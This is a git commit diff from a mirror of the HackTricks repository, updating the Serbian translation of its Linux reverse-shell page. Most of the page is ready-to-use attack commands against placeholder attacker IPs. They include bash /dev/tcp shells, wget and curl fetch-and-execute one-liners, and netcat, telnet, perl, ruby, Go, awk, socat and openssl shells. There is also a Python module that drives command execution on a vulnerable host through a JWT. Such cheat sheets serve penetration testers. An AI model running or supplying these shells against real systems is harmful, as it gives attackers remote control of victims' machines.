mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
Translated ['generic-methodologies-and-resources/shells/linux.md'] to rs
This commit is contained in:
parent
bcf44a2e35
commit
25bbba1a01
1 changed files with 62 additions and 18 deletions
|
@ -33,9 +33,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
|
|||
#after getting the previous shell to get the output to execute
|
||||
exec >&0
|
||||
```
|
||||
### Simbol bezbedna ljuska
|
||||
### Bezbedan simbolni shell
|
||||
|
||||
Ne zaboravite da proverite i druge ljuske: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh i bash.
|
||||
Ne zaboravite da proverite i sa drugim shell-ovima: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh i bash.
|
||||
```bash
|
||||
#If you need a more stable connection do:
|
||||
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||||
|
@ -47,29 +47,61 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
|||
#### Objasnjenje Shell-a
|
||||
|
||||
1. **`bash -i`**: Ovaj deo komande pokreće interaktivnu (`-i`) Bash shell.
|
||||
2. **`>&`**: Ovaj deo komande je skraćena oznaka za **preusmeravanje kako standardnog izlaza** (`stdout`) tako i **standardne greške** (`stderr`) na **isti odredište**.
|
||||
2. **`>&`**: Ovaj deo komande je skraćena notacija za **preusmeravanje kako standardnog izlaza** (`stdout`) **tako i standardne greške** (`stderr`) **na istu destinaciju**.
|
||||
3. **`/dev/tcp/<NAPADAC-IP>/<PORT>`**: Ovo je poseban fajl koji **predstavlja TCP konekciju ka navedenoj IP adresi i portu**.
|
||||
* **Preusmeravanjem izlaznih i grešnih tokova u ovaj fajl**, komanda efikasno šalje izlaz interaktivne shell sesije na mašinu napadača.
|
||||
4. **`0>&1`**: Ovaj deo komande **preusmerava standardni ulaz (`stdin`) na isto odredište kao standardni izlaz (`stdout`)**.
|
||||
4. **`0>&1`**: Ovaj deo komande **preusmerava standardni ulaz (`stdin`) na istu destinaciju kao standardni izlaz (`stdout`)**.
|
||||
|
||||
### Kreiraj u fajlu i izvrši
|
||||
```bash
|
||||
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
|
||||
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
|
||||
```
|
||||
## Forward Shell
|
||||
## Napredna ljuska
|
||||
|
||||
Ako naiđete na **RCE ranjivost** unutar veb aplikacije zasnovane na Linuxu, može se desiti da postane teško **dobiti reverzni shell** zbog prisustva Iptables pravila ili drugih filtera. U takvim scenarijima, razmotrite kreiranje PTY shella unutar kompromitovanog sistema korišćenjem cevi.
|
||||
Kada se suočite sa ranjivošću **Udaljenog izvršenja koda (RCE)** unutar veb aplikacije zasnovane na Linuxu, postizanje reverzne ljuske može biti otežano zbog mrežnih odbrana poput iptables pravila ili složenih mehanizama filtriranja paketa. U takvim ograničenim okruženjima, alternativni pristup uključuje uspostavljanje PTY (Pseudo Terminal) ljuske kako biste efikasnije interagirali sa kompromitovanim sistemom.
|
||||
|
||||
Kod možete pronaći na [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)
|
||||
Preporučeni alat za tu svrhu je [toboggan](https://github.com/n3rada/toboggan.git), koji pojednostavljuje interakciju sa ciljnim okruženjem.
|
||||
|
||||
Samo trebate izmeniti:
|
||||
Da biste efikasno koristili toboggan, kreirajte Python modul prilagođen RCE kontekstu vašeg ciljnog sistema. Na primer, modul nazvan `nix.py` može biti struktuiran na sledeći način:
|
||||
```python3
|
||||
import jwt
|
||||
import httpx
|
||||
|
||||
* URL ranjivog hosta
|
||||
* Prefiks i sufiks vašeg payload-a (ako postoje)
|
||||
* Način slanja payload-a (zaglavlja? podaci? dodatne informacije?)
|
||||
def execute(command: str, timeout: float = None) -> str:
|
||||
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
|
||||
token = jwt.encode(
|
||||
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
|
||||
)
|
||||
|
||||
Zatim, možete jednostavno **slati komande** ili čak **koristiti `upgrade` komandu** da biste dobili potpuni PTY (imajte na umu da se cevi čitaju i pišu sa oko 1.3s kašnjenja).
|
||||
response = httpx.get(
|
||||
url="https://vulnerable.io:3200",
|
||||
headers={"Authorization": f"Bearer {token}"},
|
||||
timeout=timeout,
|
||||
# ||BURP||
|
||||
verify=False,
|
||||
)
|
||||
|
||||
# Check if the request was successful
|
||||
response.raise_for_status()
|
||||
|
||||
return response.text
|
||||
```
|
||||
I onda možete pokrenuti:
|
||||
```shell
|
||||
toboggan -m nix.py -i
|
||||
```
|
||||
Da biste direktno iskoristili interaktivnu ljusku, možete dodati `-b` za integraciju sa Burpsuite-om i ukloniti `-i` za osnovniji rce omotač.
|
||||
|
||||
Druga mogućnost je korišćenje implementacije `IppSec` forward ljuske [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||
|
||||
Samo treba da izmenite:
|
||||
|
||||
- URL ranjivog hosta
|
||||
- Prefiks i sufiks vašeg payload-a (ako postoji)
|
||||
- Način slanja payload-a (zaglavlja? podaci? dodatne informacije?)
|
||||
|
||||
Zatim možete jednostavno **slati komande** ili čak **koristiti komandu `upgrade`** da biste dobili potpunu PTY (imajte na umu da se cevi čitaju i pišu sa oko 1.3s kašnjenja).
|
||||
|
||||
## Netcat
|
||||
```bash
|
||||
|
@ -87,20 +119,20 @@ bash -c "$(curl -fsSL gsocket.io/x)"
|
|||
```
|
||||
## Telnet
|
||||
|
||||
Telnet je jednostavan protokol za pristup udaljenom terminalu. To je često korišćeno za testiranje konekcija na portove i pristup udaljenim sistemima. Telnet je često korišćen u fazi prikupljanja informacija tokom testiranja penetracije.
|
||||
Telnet je jednostavan protokol za pristup udaljenom računaru preko mreže.
|
||||
```bash
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
|
||||
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
|
||||
```
|
||||
## Whois
|
||||
## Ko je
|
||||
|
||||
**Napadač**
|
||||
```bash
|
||||
while true; do nc -l <port>; done
|
||||
```
|
||||
Da biste poslali komandu, napišite je, pritisnite Enter, a zatim pritisnite CTRL+D (da zaustavite STDIN)
|
||||
Da biste poslali komandu, zapišite je, pritisnite Enter i pritisnite CTRL+D (da zaustavite STDIN)
|
||||
|
||||
**Žrtva**
|
||||
```bash
|
||||
|
@ -120,6 +152,8 @@ perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getpro
|
|||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
Ruby je dinamički programski jezik visokog nivoa koji se često koristi za razvoj web aplikacija. On omogućava brzo i jednostavno pisanje koda, što ga čini popularnim izborom među programerima.
|
||||
```bash
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
|
@ -148,6 +182,8 @@ victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
|
|||
attacker> ncat -v 10.0.0.22 4444 --ssl
|
||||
```
|
||||
## Golang
|
||||
|
||||
Go je programski jezik koji je razvijen u Google-u. On je dizajniran tako da bude jednostavan za korišćenje, efikasan i pouzdan. Go je često korišćen za razvoj serverskih aplikacija, alata za automatizaciju i softvera za mrežno programiranje.
|
||||
```bash
|
||||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||||
```
|
||||
|
@ -221,6 +257,12 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
|
|||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Bind shell
|
||||
|
||||
## **Socat**
|
||||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Bind shell
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
|
@ -232,6 +274,8 @@ attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
|||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
## Awk
|
||||
|
||||
Awk je moćan alat za obradu teksta koji se često koristi u shell skriptama. Može se koristiti za pretraživanje i obradu teksta, kao i za izvlačenje i prikazivanje određenih informacija iz datoteka. Awk koristi posebnu sintaksu za definisanje akcija koje treba izvršiti nad podacima, što ga čini veoma fleksibilnim alatom za analizu teksta.
|
||||
```bash
|
||||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||
```
|
||||
|
@ -241,7 +285,7 @@ awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s;
|
|||
```bash
|
||||
while true; do nc -l 79; done
|
||||
```
|
||||
Da biste poslali komandu, napišite je, pritisnite Enter i pritisnite CTRL+D (da zaustavite STDIN)
|
||||
Da biste poslali komandu, napišite je, pritisnite Enter, a zatim pritisnite CTRL+D (da zaustavite STDIN)
|
||||
|
||||
**Žrtva**
|
||||
```bash
|
||||
|
@ -278,7 +322,7 @@ Ovo će pokušati da se poveže sa vašim sistemom na portu 6001:
|
|||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
Za hvatanje reverznog šella možete koristiti (koji će osluškivati na portu 6001):
|
||||
Da biste uhvatili obrnutu ljusku, možete koristiti (koja će slušati na portu 6001):
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
|
@ -311,6 +355,6 @@ Drugi načini podrške HackTricks-u:
|
|||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue